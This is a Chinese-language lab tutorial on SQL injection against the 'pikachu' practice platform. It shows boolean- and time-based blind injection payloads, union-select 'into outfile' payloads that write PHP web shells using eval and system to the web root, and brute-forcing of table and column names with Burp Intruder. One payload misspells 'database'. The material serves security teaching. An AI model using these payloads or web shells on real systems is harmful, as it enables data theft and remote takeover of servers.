pikachu注入漏洞演示3

sql-inject 漏洞-盲注
盲注：

基于真假的盲注

先用字符串测试一下

发现不行

再试试


因为kobe存在，and 1=1为真 所以被写入后台，所以存在sql注入
用之前基于报错的payload来试一下
kobe’ and extractvalue(0,concat(0x7e,version()))#
不行


获取数据库名称，取第一个字符转成ascii码，转成ascii码之后就可以对他进行运算

要转换成真和假，因为 在基于真假的sql注入里面，所有从前段看到的只有两种情况，要么是真，要么是假，所以payload传到后台的时候得出来的结果一定要是真或假两种情况，从前段才可以做对的判断，否则做不了判断。看我们传进去的database的payload对应的结果返回的数据库长度是多少 是7个字符

kobe’ and ascii(substr(database(),1,1))>113#

如果返回了kobe对应的信息，意味着and后面的表达式为真，反之为假。基于真假就能知道database第一个字符串是不是>113。
提示不存在

改一下
kobe’ and ascii(substr(database(),1,1))=112#
显示出来了kobe的信息

(select table_name from information_schema.tables where table_schema=database() limit 0,1) 把这个payload替换database

kobe’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<112#

返回皮卡丘当前数据库第一个表的名称

盲注-base on time 的盲注案例演示

用暂停5秒试一下
kobe’ and sleep(5)#
把我们输入的payload执行了，说明这块存在sql注入，并且是基于时间的盲注

根据时间的延迟来做判断
用 if 做判断，通过 database 把数据库名称取出来，通过 substr 把数据库第一个字符取出来，和 p 作比较，如果等于p 则暂停5秒钟。

kobe’ and if((substr(databese(),1,1))=‘p’,sleep(5),null)#
通过sql 进行服务器的远程控制案例测试



一句话木马写到select字段里面，<?php @eval($_GET[' test '])?>

outfile：把select出来的两个字段写到后面指定的文件中去。

kobe’ union select “<?php @eval($_GET['test'])?>”,2 into outfile “/var/www/html/1.php”#

执行访问一下 传一个phpinfo() 赋值给text 最终被eval执行
通过链接可以执行任意php代码

看一下远程操作系统命令执行
system是php下用来执行操作系统的函数
kobe’ union select “<?php @system($_GET['cmd'])?>”,2 into outfile “/var/www/html/2.php”#

会把当前目录相关的文件列出来

得到 IP地址和服务器

暴力破解在sql漏洞中的应用

kobe’ and exists(select * from aa)#
aa是我们猜测的部分 aa是一个字典
试一下

把抓到的包发送到intruder
把其他的都clear掉 只add aa

写几个payload试一下


猜出数据库表的名字

下面猜列的名字
kobe’ and exists(select id from users)#

试一下

把数据包抓下来 发送到 intruder 对id 字段进行爆破